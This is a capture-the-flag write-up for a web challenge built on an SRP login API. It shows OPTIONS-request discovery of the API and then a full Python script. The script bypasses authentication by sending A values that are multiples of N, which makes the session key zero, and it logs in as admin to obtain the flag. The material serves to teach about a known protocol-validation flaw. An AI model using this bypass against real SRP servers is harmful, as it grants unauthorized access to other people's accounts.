It's a web challenge! Looking at the website we see... not much at all. The only noteworthy thing on it is the following sentence: > At Homebrew Inc we strongly believe in tailor-made solutions and > follow best practices such as self-describing REST APIs. Researching a bit there seem to be a few approaches to this, linking to auto-generated documentation (hello Swagger!) and answering to an `OPTIONS` request with an API description. Trying the latter on all routes, we receive unexpectedly informative JSON blobs on the signup and login ones, but we'll start with signup first: $ curl -X OPTIONS http://18.205.93.120:1207/signup { "desc": "SRP signup", "steps": [ "/signup/step1" ], "params": { "N": 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919, "g": 2, "k": 3 }, "methods": [ "POST", "OPTIONS" ] } Ah, SPR. I remember wrestling with it at work once. It's a peculiar protocol for those too paranoid to ever work with anything remotely hash-like. The API description suggest using the `POST` method using the `/signup/step1` route. Let's describe it, too: $ curl -X OPTIONS http://18.205.93.120:1207/signup/step1 { "prereq": { "I": "", "P": "", "data": "", "salt": "", "xH": "", "x": "", "v": "" }, "prereq_example": { "I": "jdoe", "P": "hunter2", "data": "PIN: 1234", "salt": 2473339394, "xH": "f360842526cef540bc3d0972cb7179165648ee85e42bac1b109e68f57f17a54c", "x": 110082551556075264983629543761043676240495772593286768986473676736510503134540, "v": 1327193214845171349844335475605855771968870542446809142132629004437761168361050857353521330213121691274430865884287927781550691200587962438818490898907252909736115904287020621586025928228872624759857507845743720392033286150442949926855822586451771392039906065174621434048326839399388340960480425833226663867970564094037283765342496095687739532308461860002996489244264206931228192166902219753677582263521039567403833594256457469235611757926324579787337092901050504 }, "req": { "I": "", "data": "", "salt": "", "v": "" }, "req_example": { "I": "jdoe", "data": "PIN: 1234", "salt": 2473339394, "v": 327193214845171349844335475605855771968870542446809142132629004437761168361050857353521330213121691274430865884287927781550691200587962438818490898907252909736115904287020621586025928228872624759857507845743720392033286150442949926855822586451771392039906065174621434048326839399388340960480425833226663867970564094037283765342496095687739532308461860002996489244264206931228192166902219753677582263521039567403833594256457469235611757926324579787337092901050504 } } Sending the example request or something equivalent errors out though, but at least it can be used to figure out whether we're doing the math parts correctly. On top of that we can even log in as `jdoe` by using the information obtained so far and following the API documentation for the login steps. Observe: $ curl -X OPTIONS http://18.205.93.120:1207/login { "desc": "SRP login", "steps": [ "/login/step1", "/login/step2" ], "params": { "N": 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919, "g": 2, "k": 3 }, "methods": [ "POST", "OPTIONS" ] } $ curl -X OPTIONS http://18.205.93.120:1207/login/step1 { "prereq": { "I": "", "a": "", "A": "" }, "prereq_example": { "I": "jdoe", "a": 2400982698, "A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174 }, "req": { "I": "", "A": "" }, "req_example": { "I": "jdoe", "A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174 }, "res": { "status": "success", "salt": "", "B": "" }, "res_example": { "status": "success", "salt": 2473339394, "B": 1463994662108935211483546790214268991209400331727265594590553834253274420518422123007887249491289332525317946662357289644143230007519413519454089534397688108477942862918483125504502716914927778746738550335951557334410005233905704997697357834981278238675633777765149411515954354539188400836463161944664950393129172030717487025860056182128667979363536475899232633828373161940080539190435258185028907741024934100124225377681974318908661653122745288060915421082899832 } } If you ignore the stupidly huge numbers for a while (that's modern cryptography for you), it's not that scary. `I` is already known, `a` is chosen by us, `A` is calculated using the data collected so far. We even receive more data by the server. Step 2 is where things get more interesting: { "prereq": { "a": " from step1", "A": " from step1", "B": " from step1", "salt": " from step1", "P": "", "uH": "", "u": "", "xH": "", "x": "", "S": "<(B - k * g**x)**(a + u * x) % N>", "K": "" }, "prereq_example": { "a": 2400982698, "A": 1626240965052459925090125564662450784704852916880989610254487352511115303419406578246232917723737104052602659421538468730464182001695274514009713448708123869015130825773618678988184870172644370983281191997141382365131891395129263297924819542928203385891937165370260003746835447051076036828958209007723981232862248848958565222992834212176073750753382841888691202203695840114634561439561357062502914915539157996640328596456290408508151057540906943958192316326246174, "B": 1463994662108935211483546790214268991209400331727265594590553834253274420518422123007887249491289332525317946662357289644143230007519413519454089534397688108477942862918483125504502716914927778746738550335951557334410005233905704997697357834981278238675633777765149411515954354539188400836463161944664950393129172030717487025860056182128667979363536475899232633828373161940080539190435258185028907741024934100124225377681974318908661653122745288060915421082899832, "salt": 2473339394, "P": "hunter2", "uH": "918a5a6da91078edfad64e82c2fdd880fb7e0027ded39e5d88ea753b7996e00c", "u": 65829812053122994858379485436700829031554594618392120488755968230743462043660, "xH": "f360842526cef540bc3d0972cb7179165648ee85e42bac1b109e68f57f17a54c", "x": 110082551556075264983629543761043676240495772593286768986473676736510503134540, "S": 681702622420650776315865947859040061416917287499419876503005911953421472159482221147984920348300702430913972260924940491572867356754245066884046351157672691454775624333773884243390745294222714191688303830371693525223872779293970613122876999888431013688349650754391077022496238243810283398288178672672294853897303100682758918607537273918144547941780007209741605629693356760884829910798340674812989955955190649397082710554940247700505387749139723722190124825907306, "K": "771d414d72fa61d25a98baf95d772d04bd8ab1f6c941f89fe5c094452393a388" }, "req": { "proof": "" }, "req_example": { "proof": "a0c74c30f108a51cb9ae7a739f60fd1e0f6f3d359430f91736cd7a21268747d8" }, "res": { "status": "success", "message": "" }, "res_example": { "status": "success", "message": "Hello jdoe! Your data is: PIN: 1234" } } Additionally to the previously collected data we need a password (generously provided in the request example), then perform a bit more math than before to log in. If everything went right, we should get some not terribly secret data. The hardest part here is making sure the string operations work correctly, hashes are converted properly to numbers and that you're getting the modular exponentiation part right. Now for the actual challenge. You should have a working client now, but logging in as admin can't be done that way because you don't know their password and bruteforcing it isn't really an option as there is no password hash equivalent to crack offline. After researching a bit online, it becomes obvious that the server is using version 3 of the protocol which has an important safeguard for the mathematics to work, the client must abort when receiving `B = 0 (mod N)` and the server must abort when receiving `A = 0 (mod N)`. If the server doesn't check for this correctly, submitting values of 0, `N`, `2N`, etc. will lead to an authentication bypass and allow you to log in. Here's how it looks in practice: #!/usr/bin/env python3 import hashlib import hmac import sys import requests def die(fstring, *args): print(fstring.format(*args), file=sys.stderr) sys.exit(1) if len(sys.argv) != 3: die('usage: {}
', sys.argv[0]) _, ADDRESS, USER = sys.argv def sha256(message): return hashlib.sha256(bytes(message, 'ascii')).hexdigest() def hmac_sha256(key, message): return hmac.new(bytes(key, 'ascii'), bytes(message, 'ascii'), hashlib.sha256).hexdigest() def get_help(path): return requests.options(ADDRESS + path).json() def submit(path, payload, cookies=None): res = requests.post(ADDRESS + path, json=payload, cookies=cookies) return [res.json(), res.cookies] def try_A(N, factor): A = N * factor params, cookies = submit('/login/step1', {'I': USER, 'A': A}) if params['status'] == 'error': return False salt = params['salt'] S = 0 K = sha256(str(S)) proof = hmac_sha256(str(salt), K) params, _ = submit('/login/step2', {'proof': proof}, cookies=cookies) if params['status'] == 'error': return False return params['message'] def solve(): params = get_help('/login')['params'] N = params['N'] i = 0 while True: print('Trying {}N'.format(i)) result = try_A(N, i) if result: print(result) sys.exit(0) i += 1 if __name__ == '__main__': solve() Invoking it with the challenge address and `admin` user prints the following: Trying 0N Trying 1N Trying 2N Hello admin! Your data is: AOTW{uSuRp_the_flag}